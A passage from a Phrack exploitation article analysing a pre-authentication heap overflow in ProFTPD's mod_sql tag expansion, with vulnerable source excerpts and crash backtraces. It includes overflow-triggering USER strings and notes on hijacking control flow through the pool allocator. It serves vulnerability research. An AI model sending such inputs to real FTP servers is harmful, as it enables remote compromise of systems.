==Phrack Inc.==
Volume 0x0e, Issue 0x43, Phile #0x07 of 0x10
|=-----------------------------------------------------------------------=|
|=------=[ ProFTPD with mod_sql pre-authentication, remote root ]=------=|
|=-------------------------=[ heap overflow ]=---------------------------=|
|=-----------------------------------------------------------------------=|
|=-------------------=[ max_packetz@felinemenace.org ]=------------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
1 - Introduction
2 - The vulnerability
2.1 - Tags explained
2.2 - Generating overflow strings
3 - Exploring what we can control
3.1 - Automating tasks
3.2 - ProFTPD Pool allocator
3.3 - Examining backtraces
3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace
3.3.2 - 2813d637d735be610a460a75db061f6b backtrace
3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace
3.3.4 - 844319188798d7742af43d10f6541a61 backtrace
3.3.5 - 914b175392625fe75c2b16dc18bfb250 backtrace
3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace
3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace
3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace
3.3.9 - Summary
3.4 - Exploitation avenues
3.4.1 - Shellcode approach
3.4.2 - Data manipulation
4 - Writing an exploit
4.1 - Exploitation via arbitrary pointer return
4.2 - Cleanup structure crash
4.3 - Potential enhancements
4.4 - Last thoughts
5 - Discussion of hardening techniques against exploitation
5.1 - Address Space Layout Randomisation
5.2 - Non-executable Memory
5.3 - Position Independent Binaries
5.4 - Stack Protector
5.5 - RelRO
6 - References
--[ 1 - Introduction
This paper describes and explores a pre-authentication remote root heap
overflow in the ProFTPD [1] FTP server. It's not quite a standard overflow,
due to the how the ProFTPD heap works, and how the bug is exploited via
variable substition.
The vulnerability was inadvertently mitigated (from remote root, at least
:( ) when the ProFTPD developers fixed a separate vulnerability in mod_sql
where you could inject SQL and bypass authentication. That vulnerability
that mitigated it is documented in CVE-2009-0542.
The specific vulnerability we are exploring is an unbounded copy operation
in sql_prepare_where(), which has not been fixed yet.
Also, I'd like to preemptively apologise for the attached code. It evolved
over time in piecemeal fashion, and isn't overly pretty/readable by now :p
--[ 2 - The vulnerability
The vulnerability itself is a little contrived, but bare with me:
In contrib/mod_sql.c, _sql_getpasswd(), we have the following code (line
numbers from ProFTPD 1.3.2rc2):
---
1132 if (!cmap.usercustom) {
1133 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,
NULL);
1134
1135 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default",
1136 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select");
1137
---
Where usrwhere is in the form of:
(<table name for user column> = 'USERNAME')
Inside of sql_prepare_where() is where all the fun takes place:
---
770 static char *sql_prepare_where(int flags, cmd_rec *cmd, int cnt, ...) {
771 int i, flag, nclauses = 0;
772 int curr_avail;
773 char *buf = "", *res;
774 va_list dummy;
775
776 res = pcalloc(cmd->tmp_pool, SQL_MAX_STMT_LEN); [1]
777
778 flag = 0;
779 va_start(dummy, cnt);
780 for (i = 0; i < cnt; i++) {
781 char *clause = va_arg(dummy, char *);
782 if (clause != NULL &&
783 *clause != '\0') {
784 nclauses++;
785
786 if (flag++)
787 buf = pstrcat(cmd->tmp_pool, buf, " AND ", NULL);
788 buf = pstrcat(cmd->tmp_pool, buf, "(", clause, ")", NULL);
789 }
790 }
791 va_end(dummy);
792
793 if (nclauses == 0)
794 return NULL;
795
796 if (!(flags & SQL_PREPARE_WHERE_FL_NO_TAGS)) { [2]
797 char *curr, *tmp;
798
799 /* Process variables in WHERE clauses, except any "%{num}"
references. */
800 curr = res;
801 curr_avail = SQL_MAX_STMT_LEN;
802
803 for (tmp = buf; *tmp; ) {
804 char *str;
805 modret_t *mr;
806
807 if (*tmp == '%') {
808 char *tag = NULL;
809
810 if (*(++tmp) == '{') {
811 char *query;
812
813 if (*tmp != '\0')
814 query = ++tmp;
815
816 while (*tmp && *tmp != '}')
817 tmp++;
818
819 tag = pstrndup(cmd->tmp_pool, query, (tmp - query));
820 if (tag) {
821 str = resolve_long_tag(cmd, tag); [3]
822 if (!str)
823 str = pstrdup(cmd->tmp_pool, "");
824
825 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,
"default",
826 str), "sql_escapestring");
827 if (check_response(mr) < 0)
828 return NULL;
829
830 sstrcat(curr, mr->data, curr_avail);
831 curr += strlen(mr->data);
832 curr_avail -= strlen(mr->data);
833
834 if (*tmp != '\0')
835 tmp++;
836
837 } else {
838 return NULL;
839 }
840
841 } else {
842 str = resolve_short_tag(cmd, *tmp); [4]
843 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 2,"default",
844 str), "sql_escapestring");
845 if (check_response(mr) < 0)
846 return NULL;
847
848 sstrcat(curr, mr->data, curr_avail);
849 curr += strlen(mr->data);
850 curr_avail -= strlen(mr->data);
851
852 if (*tmp != '\0')
853 tmp++;
854 }
855
856 } else { [5]
857 *curr++ = *tmp++;
858 curr_avail--;
859 }
860 }
861 *curr++ = '\0';
862
863 } else {
864 res = buf;
865 }
866
867 return res;
868 }
869
---
At [1], memory is allocated. SQL_MAX_STMT_LEN is defined as 4096 bytes.
That should be plenty for <300 bytes, right?
At [2], flags are checked to see if "tags" should be expanded. In the case
we are interested in, tags are expanded.
At [3], we see that "long tags" are expandable, and that they are
surrounded by %{ and finished with }. We'll ignore them for now. They take
up too much input space in regards to the output length.
At [4], we see that they have concepts of "short" tags, consisting of one
byte.
At [5], we see that they have an unbounded one byte copy operation, inside
of a suitable loop.
Now, we need to cover tags to see what we can do with it:
------[ 2.1 Tags explained
For the path we're interested in, we'll cover "short" tags (longer tags are
not all interesting, and for reasons explained later on).
Looking at resolve_short_tag(), we see the following (heavily snipped for
brevity):
---
1719 static char *resolve_short_tag(cmd_rec *cmd, char tag) {
1720 char arg[256] = {'\0'}, *argp;
1721
1722 switch (tag) {
1723 case 'A': {
1724 char *pass;
1725
1726 argp = arg;
1727 pass = get_param_ptr(main_server->conf, C_PASS, FALSE);
1728 if (!pass)
1729 pass = "UNKNOWN";
1730
1731 sstrncpy(argp, pass, sizeof(arg));
1732 }
1733 break;
1734
1735 case 'a':
1736 argp = arg;
1737 sstrncpy(argp,
pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr()),
1738 sizeof(arg));
1739 break;
1740
...
1914 case 'm':
1915 argp = arg;
1916 sstrncpy(argp, cmd->argv[0], sizeof(arg));
1917 break;
1918
...
1929 case 'r':
1930 argp = arg;
1931 if (strcmp(cmd->argv[0], C_PASS) == 0 &&
1932 session.hide_password)
1933 sstrncpy(argp, C_PASS " (hidden)", sizeof(arg));
1934
1935 else
1936 sstrncpy(argp, get_full_cmd(cmd), sizeof(arg));
1937 break;
1938
...
1954 case 'T':
1955 argp = arg;
1956 if (session.xfer.p) {
...
1974 } else
1975 sstrncpy(argp, "0.0", sizeof(arg));
1976
1977 break;
...
2021
2022 default:
2023 argp = "{UNKNOWN TAG}";
2024 break;
2025 }
2026
2027 return pstrdup(cmd->tmp_pool, argp);
2028 }
2029
---
So, as you can see, tags are a form of variable substitution. %m and %r
allow us to "duplicate" our input, %a allows us to copy our IP address, %T
gives us 0.0 (since we're not transferring anything at the moment, and %Z
(handled by the default case) gives us "{UNKNOWN TAG}".
By combining these, we can generate strings that expand past the allocated
size in sql_prepare_where, due to the unbounded copy.
Firstly, we'll look at what those inputs would generate, then we'll look at
how to generate suitable overflow strings.
Firstly, the string "AAA%m" once processed would come out looking like:
AAAAAA%m
The string "AAA%m%m" would look like:
AAAAAA%mAAA%m
Unfortunately the string to be expanded isn't as clean as that, it's:
(<name of user entry in table> = 'USER INPUT')\x00
The default of the table field is "userid". Due to the ')\x00 at the end,
we can't do arbitrary off-by-1 or 2 overwrites. It's possible that \x00 or
\x29 could be useful, in some situations however.
Enough chars / %m's etc would expand past 4096 bytes, and start overwriting
other information stored on the heap. Tags enable exploitation of this
issue via it's input duplication. They also have a significant effect on
the heap, for better or worse.
(As a side note, contrib/mod_rewrite.c has %m tag support as well. Since it
seems a little unlikely to hit that pre-auth, it wasn't investigated
further..)
------[ 2.2 Generating overflow strings
One initial complication we had in exploring this vulnerability further was
due to making an overflow string that once processed would expand to a
suitable size. (As an example, overflow our own arbitrary content 32 bytes
past 4096).
We solved this problem with using a constraint solver to generate the
appropriate strings for us, thus solving an otherwise annoying situation
(it being a little messy to calculate how much we need, since touching one
thing can dramatically throw off the rest of the calculations, as an
example, removing one A character would reduce it by one +
(one * amount_of_%m_tags)).
In exploring the vulnerability, we used python-constraint [2].
We used several constraints:
- Input string must be less than 256 bytes.
- The parsed string must overflow by exactly X+2 (due to ') added to
the end bytes.
- One/two others that I've forgotten about as I write this up.
We split the strings into "fakeauth" strings, and "trigger" strings. The
fakeauth strings are designed to consume/allocate a certain amount of
memory, and the trigger strings are designed to overwrite a bunch of bytes
after the allocation.
Fakeauth strings seem to be required for maximum control of the remote
process, but it's possible it's not required at all.
By mixing the %m's / %a's / %Z's up, it is possible to change memory
allocation / deallocation order, and thus explore/affect where it crashes.
While the %a tags are useful in experimenting, they are not ideal, as you
then need to take your local IP address into account when exploiting remote
hosts.
--[ 3 - Exploring what we can control
------[ 3.1 - Automating tasks
I'm a big fan of automating as much stuff as possible. In order to get a
ten thousand foot view of what I can do, I used python-ptrace [3] and
pyevolve [4] to:
- Generate input strings
- Debug proftpd and record before/after overwriting the memory allocated
in sql_prepare_where
- Analyze how "interesting" the results of input strings where.
- Process exited? Completely uninteresting.
- SEGV'd?
- Gather backtraces / register contents / see if the program crashed
with our directly controllable user input / etc.
Pyevolve, for the most part, was useful for mutating the input strings to
explore the code paths leading to crashes..
By doing these tasks, I was able to find the more interesting paths that
could easily be hit, while I was flicking over the ProFTPD pool allocator
...
------[ 3.2 - ProFTPD Pool allocator
A high level overview for the ProFTPD pool allocator (src/pool.c) is given
at [5], but here are the quick nuts and bolts of it:
- Pools are allocated, and is subdivided into blocks.
- Pools have cleanup handlers (very useful - used in proftpd-not-pro-enough
[6] exploit by solar to gain code execution).
- More blocks are malloc()'d if the pool is out of space.
- Memory is never free()'d unless developer mode is enabled, and that's
only at daemon shut down.
- In order to allocate memory, the single linked list of free blocks is
checked to see if the allocation request can be satisfied first without
calling malloc().
The pool structure is defined as:
---
196 struct pool {
197 union block_hdr *first;
198 union block_hdr *last;
199 struct cleanup *cleanups;
200 struct pool *sub_pools;
201 struct pool *sub_next;
202 struct pool *sub_prev;
203 struct pool *parent;
204 char *free_first_avail;
205 const char *tag;
206 };
---
The cleanup structure looks like:
---
655 typedef struct cleanup {
656 void *data;
657 void (*plain_cleanup_cb)(void *);
658 void (*child_cleanup_cb)(void *);
659 struct cleanup *next;
660 } cleanup_t;
---
Overwriting a cleanup structure, or a pool structure, would allow us to
arbitrarily execute code when the pool is cleared/destroyed.
The block structure is defined as:
---
46 union block_hdr {
47 union align a;
48
49 /* Padding */
50 #if defined(_LP64) || defined(__LP64__)
51 char pad[32];
52 #endif
53
54 /* Actual header */
55 struct {
56 char *endp;
57 union block_hdr *next;
58 char *first_avail;
59 } h;
60 };
---
Now, we trace pcalloc() as it's called in sql_prepare_where() (and
numerously throughout the ProFTPD code), just to see what situations will
allow us to return pointers that we control. Controlling these returned
pointers would allow us to overwrite arbitrary memory, hopefully with
content that we can control.
---
481 void *pcalloc(struct pool *p, int sz) {
482 void *res = palloc(p, sz);
483 memset(res, '\0', sz);
484 return res;
485 }
---
gives us:
---
473 void *palloc(struct pool *p, int sz) {
474 return alloc_pool(p, sz, FALSE);
475 }
---
which in turn gives us:
---
435 static void *alloc_pool(struct pool *p, int reqsz, int exact) {
436
437 /* Round up requested size to an even number of aligned units */
438 int nclicks = 1 + ((reqsz - 1) / CLICK_SZ);
439 int sz = nclicks * CLICK_SZ;
440
441 /* For performance, see if space is available in the most recently
442 * allocated block.
443 */
444
445 union block_hdr *blok = p->last;
446 char *first_avail = blok->h.first_avail;
447 char *new_first_avail;
448
449 if (reqsz <= 0)
450 return NULL;
451
452 new_first_avail = first_avail + sz;
453
454 if (new_first_avail <= blok->h.endp) { [1]
455 blok->h.first_avail = new_first_avail;
456 return (void *) first_avail;
457 }
458
459 /* Need a new one that's big enough */
460 pr_alarms_block();
461
462 blok = new_block(sz, exact); [2]
463 p->last->h.next = blok;
464 p->last = blok;
465
466 first_avail = blok->h.first_avail; [3]
467 blok->h.first_avail += sz;
468
469 pr_alarms_unblock();
470 return (void *) first_avail;
471 }
---
The check at [1] checks to see if the request can be satisfied from the
pool allocation itself..
The call at [2] requests a "new_block" of memory. The returned pointer is
determined at [3], indicating that the first_avail pointer at least needs
to be modified.
---
151 /* Get a new block, from the free list if possible, otherwise malloc a
new
152 * one. minsz is the requested size of the block to be allocated.
153 * If exact is TRUE, then minsz is the exact size of the allocated
block;
154 * otherwise, the allocated size will be rounded up from minsz to the
nearest
155 * multiple of BLOCK_MINFREE.
156 *
157 * Important: BLOCK ALARMS BEFORE CALLING
158 */
159
160 static union block_hdr *new_block(int minsz, int exact) {
161 union block_hdr **lastptr = &block_freelist;
162 union block_hdr *blok = block_freelist;
163
164 if (!exact) {
165 minsz = 1 + ((minsz - 1) / BLOCK_MINFREE);
166 minsz *= BLOCK_MINFREE;
167 }
168
169 /* Check if we have anything of the requested size on our free list
first...
170 */
171 while (blok) {
172 if (minsz <= blok->h.endp - blok->h.first_avail) {
173 *lastptr = blok->h.next;
174 blok->h.next = NULL;
175
176 stat_freehit++;
177 return blok;
178
179 } else {
180 lastptr = &blok->h.next;
181 blok = blok->h.next;
182 }
183 }
184
185 /* Nope...damn. Have to malloc() a new one. */
186 stat_malloc++;
187 return malloc_block(minsz);
188 }
---
BLOCK_MINFREE is defined to PR_TUNABLE_NEW_POOL_SIZE, which is defined to
512 bytes.
So, we can see that if we can get the stars to align correctly, we can gain
code execution via:
- Pool cleanup/destruction
- Corrupting the first_avail pointer in a block.
The second method is a little more effort, but it may not be possible to
hit the first.
There are other avenues potentially available such as unlink() style
corruption, or other heap content overwrites, but they were not explored in
depth.
------[ 3.3 - Examining backtraces
After leaving the proftpd input fuzzing / automated crash analysis code [7]
running for a while, I decided to stop it and examine some of the
backtraces it created, in order to see what was found, and if any indicated
that they where able to gain direct code execution, or useful memory
corruption.
# echo backtraces: `ls -l backtrace.* | wc -l` ; echo unique backtraces:
`md5su m backtrace.* | awk '{ print $1 }' | sort | uniq`
backtraces: 4280
unique backtraces: 11380f2c8ce44d29b93b9bc6308692ae
2813d637d735be610a460a75db061f6b 3d10e2a054d8124ab4de5b588c592830
844319188798d7742af43d10f6541a61 914b175392625fe75c2b16dc18bfb250
b975726b4537662f3f5ddf377ea26c20 ccbbd918ad0dbc7a869184dc2eb9cc50
f1bfd5428c97b9d68a4beb6fb8286b70
Some of these back traces are very similiar, only real change in where they
are called from. However, seeing that the code can be reached from multiple
places is good; as it gives us more chances to take control of the remote
process.
Flicking through the backtraces:
--------[ 3.3.1 - 11380f2c8ce44d29b93b9bc6308692ae backtrace ]
# cat bt_frames.99861.0
EIP: 0xb7b7e67a, EBP: 0xbfd0a0a8, memset
EIP: 0x08055034, EBP: 0xbfd0a0d8, pstrcat
EIP: 0x080c0d85, EBP: 0xbfd0a118, cmd_select
EIP: 0x080c26f2, EBP: 0xbfd0a148, _sql_dispatch
EIP: 0x080c4354, EBP: 0xbfd0a1f8, _sql_getpasswd
EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups
EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups
EIP: 0x080718a6, EBP: 0xbfd0a328, call_module
EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth
EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.99861.0
EAX: 0x00000000
EBX: 0x0882d654
ECX: 0x0000103c
EDX: 0x00000001
ESI: 0x080d4960
EDI: 0x41346141
EBP: 0xbfd0a0a8
ESP: 0xbfd0a078
EIP: 0xb7b7e67a
So far, we can see we are memset()'ing a controllable pointer :D
Looking further at _sql_getpasswd in the backtrace:
(gdb) l *0x080c4354
0x80c4354 is in _sql_getpasswd (mod_sql.c:1252).
1247 }
1248
1249 if (!cmap.usercustom) {
1250 where = sql_prepare_where(0, cmd, 2, usrwhere, cmap.userwhere,
NULL);
1251
1252 mr = _sql_dispatch(_sql_make_cmd(cmd->tmp_pool, 5, "default",
1253 cmap.usrtable, cmap.usrfields, where, "1"), "sql_select");
1254
1255 if (check_response(mr) < 0)
1256 return NULL;
(gdb) l *0x080c0d85
0x80c0d85 is in cmd_select (mod_sql_mysql.c:812).
807 } else {
808 query = pstrcat(cmd->tmp_pool, cmd->argv[2], " FROM ",
cmd->argv[1], NULL);
809
810 if (cmd->argc > 3 &&
811 cmd->argv[3])
812 query = pstrcat(cmd->tmp_pool, query, " WHERE ",
cmd->argv[3], NULL);
813
814 if (cmd->argc > 4 &&
815 cmd->argv[4])
816 query = pstrcat(cmd->tmp_pool, query, " LIMIT ",
cmd->argv[4], NULL);
This backtrace is interesting, as it's appending contents we directly
control to the chunk. Playing further:
# telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1]
USER A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%m%mA%mA%m%Z%Z%mAA%m%m
%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m
331 Password required for A%m%m%mA%m%Z%Z%m%m%m%m%Z%mA%m%m%m%mA%m%m%m%m%m%m%
m%mA%mA%m%Z%Z%mAA%m%m%ZA%m%m%m%ZA%m%m%m%Z%m%m%Z%m
USER AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%
m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9
Ac0A
...
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb7c7a6b0 (LWP 19840)]
0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6
(gdb) bt
#0 0xb7cf467a in memset () from /lib/tls/i686/cmov/libc.so.6
#1 0x08054d1a in pcalloc (p=0x98a84c4, sz=4156) at pool.c:481
#2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580
#3 0x080c0d85 in cmd_select (cmd=0x98a84ec) at mod_sql_mysql.c:812
#4 0x080c26f2 in _sql_dispatch (cmd=0x98a84ec, cmdname=0x80e4a3d
"sql_select") at mod_sql.c:393
#5 0x080c4354 in _sql_getpasswd (cmd=0x98a1ad4, p=0xbfa8368c) at
mod_sql.c:1252
#6 0x080c514d in _sql_getgroups (cmd=0x98a1ad4) at mod_sql.c:1599
#7 0x080ca70e in cmd_getgroups (cmd=0x98a1ad4) at mod_sql.c:3612
#8 0x080718a6 in call_module (m=0x80ee940, func=0x80ca6bd <cmd_getgroups>,
cmd=0x98a1ad4) at modules.c:439
#9 0x0807339e in dispatch_auth (cmd=0x98a1ad4, match=0x80d9685
"getgroups", m=0x0) at auth.c:89
#10 0x0807481d in pr_auth_getgroups (p=0x98a1a04,
name=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA
A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A", group_ids=0x80fb0bc, group_names=0x80fb0c0)
at auth.c:691
#11 0x08074a98 in auth_anonymous_group (p=0x98a1a04,
user=0x9852eec "AAAAAAAAAA%m%m%mA%m%m%mA%m%mAA%m%m%m%m%mA%m%Z%m%mA%m%mA
A%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab
3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A") at auth.c:751
#12 0x08074ea7 in pr_auth_get_anon_config (p=0x98a1a04,
login_name=0xbfa838f8, user_name=0x0, anon_name=0x0) at auth.c:864
#13 0x080a4b5c in auth_user (cmd=0x9852e94) at mod_auth.c:1831
#14 0x080718a6 in call_module (m=0x80ec9e0, func=0x80a4a10 <auth_user>,
cmd=0x9852e94) at modules.c:439
#15 0x0804c651 in _dispatch (cmd=0x9852e94, cmd_type=2, validate=1,
match=0x9852ee4 "USER") at main.c:424
#16 0x0804caba in pr_cmd_dispatch (cmd=0x9852e94) at main.c:523
#17 0x0804d4ee in cmd_loop (server=0x9853af4, c=0x988abdc) at main.c:750
#18 0x0804ea36 in fork_server (fd=1, l=0x988a7bc, nofork=0 '\0') at
main.c:1257
#19 0x0804f1cf in daemon_loop () at main.c:1464
#20 0x080522c6 in standalone_main () at main.c:2294
#21 0x08053109 in main (argc=4, argv=0xbfa84374, envp=0xbfa84388) at
main.c:2878
(gdb) i r
eax 0x0 0
ecx 0x103c 4156
edx 0x1 1
ebx 0x98a2444 160048196
esp 0xbfa834a8 0xbfa834a8
ebp 0xbfa834d8 0xbfa834d8
esi 0x80d4960 135088480
edi 0x41346141 1093951809
...
# ruby pattern_offset.rb 0x41346141
12
...
(gdb) frame 2
#2 0x08055034 in pstrcat (p=0x98a84c4) at pool.c:580
580 res = (char *) pcalloc(p, len + 1);
(gdb) info locals
argp = 0x0
res = 0x0
len = 4155
dummy = 0xbfa83524 ...
(gdb) x/32x $esp
0xbfa834e0: 0x098a84c4 0x0000103c 0x00000000 0x00000000
0xbfa834f0: 0x00000000 0x0988b62c 0xbfa83524 0x0000103b
0xbfa83500: 0x00000000 0x00000000 0xbfa83548 0x080c0d85
0xbfa83510: 0x098a84c4 0x098a854c 0x080e40e5 0x098aa7d4
0xbfa83520: 0x00000000 0x080ef060 0x00000000 0x00000000
0xbfa83530: 0x00000000 0x098a854c 0x00000000 0x098a8534
0xbfa83540: 0x0988b62c 0x0988b68c 0xbfa83578 0x080c26f2
0xbfa83550: 0x098a84ec 0x080e441a 0x098aa7d4 0x098a3874
(gdb) x/s 0x098a854c
0x98a854c: "userid, passwd, uid, gid, homedir, shell FROM ftpuser"
(gdb) x/s 0x080e40e5
0x80e40e5: " WHERE "
(gdb) x/s 0x098aa7d4
0x98aa7d4: "(userid='", 'A' <repeats 20 times>, "%m%m%mA%m%m%mA%m%mAA
%m%m%m%m%mA%m%Z%m%mA%m%mAA%mA%ZAA%m%m%m%m%m%mA%m%ZAAA%mAa0Aa1Aa2Aa3Aa4Aa5Aa
6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0", 'A' <repeats 11 times>,
"%m%m%mA%m%m%mA%m%mAA%m"...
This crash is excellent, but it has several drawbacks:
- No direct control of EIP, thus requiring overwriting larger chunks of
memory which may be problematic.
- Configuration dependent :(
- Both SQLUserInfo and SQLGroupInfo specify table names and table
entries. For example:
- SQLUserInfo ftpuser userid passwd uid gid homedir shell
- SQLGroupInfo ftpgroup groupname gid members
- We could collect common configurations recommended in guides so that
we can take them into account when bruteforcing.. sucky though.
Let's see what the others contain before getting too excited :)
------[ 3.3.2 - 2813d637d735be610a460a75db061f6b backtrace ]
# cat bt_frames.16259.0
EIP: 0x08054b7d, EBP: 0xbfd0a1d8, destroy_pool
EIP: 0x08054b0c, EBP: 0xbfd0a1e8, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a1f8, destroy_pool
EIP: 0x0807389f, EBP: 0xbfd0a248, pr_auth_getpwnam
EIP: 0x080a0e3a, EBP: 0xbfd0a488, setup_env
EIP: 0x080a51ca, EBP: 0xbfd0a4d8, auth_pass
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.16259.0
EAX: 0x62413362
EBX: 0x0000b25d
ECX: 0x00000002
EDX: 0x0882f8e8
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a1d8
ESP: 0xbfd0a1d0
EIP: 0x08054b7d
EAX looks like a modified pointer, and we can see we're in the
destroy_pool / clean_pool code. No arbitrary EIP yet :~(
(gdb) l *0x08054b7d
0x8054b7d is in destroy_pool (pool.c:415).
410 return;
411
412 pr_alarms_block();
413
414 if (p->parent) {
415 if (p->parent->sub_pools == p)
416 p->parent->sub_pools = p->sub_next;
417
418 if (p->sub_prev)
419 p->sub_prev->sub_next = p->sub_next;
(gdb) l * 0x08054b0c
0x8054b0c is in clear_pool (pool.c:395).
390 /* Run through any cleanups. */
391 run_cleanups(p->cleanups);
392 p->cleanups = NULL;
393
394 /* Destroy subpools. */
395 while (p->sub_pools)
396 destroy_pool(p->sub_pools);
397 p->sub_pools = NULL;
398
399 free_blocks(p->first->h.next);
So, we can see that we've corrupted the p->parent->sub_pools pointer. Not
immediately interesting, as we've isolated what appears to be very
interesting earlier on. Might be able to do some fun and games at some
point with the old unlink() style, though.
------[ 3.3.3 - 3d10e2a054d8124ab4de5b588c592830 backtrace ]
# cat bt_frames.99758.0
EIP: 0x08054b7d, EBP: 0xbfd0a338, destroy_pool
EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool
EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config
EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.99758.0
EAX: 0x62413362
EBX: 0x0882d4ac
ECX: 0x00000002
EDX: 0x088356c8
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a338
ESP: 0xbfd0a330
EIP: 0x08054b7d
Unfortunately, EIP is the same as the 2813d637d735be610a460a75db061f6b
backtrace, except it dies with pr_auth_getgroups in the backtrace, rather
than pr_auth_getpwnam.
------[ 3.3.4 - 844319188798d7742af43d10f6541a61 backtrace ]
# cat bt_frames.103331.0
EIP: 0x08054b7d, EBP: 0xbfd0a368, destroy_pool
EIP: 0x08054b0c, EBP: 0xbfd0a378, clear_pool
EIP: 0x08054bd1, EBP: 0xbfd0a388, destroy_pool
EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups
EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group
EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config
EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass
EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module
EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch
EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch
EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop
EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server
EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop
EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main
EIP: 0x08053109, EBP: 0xbfd0aea8, main
EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main
EIP: 0x0804b841, EBP: 0x00000000, _start
# cat regs.103331.0
EAX: 0x62413362
EBX: 0x0000a2f3
ECX: 0x00000002
EDX: 0x0882f2b8
ESI: 0x080d4960
EDI: 0x088161e8
EBP: 0xbfd0a368
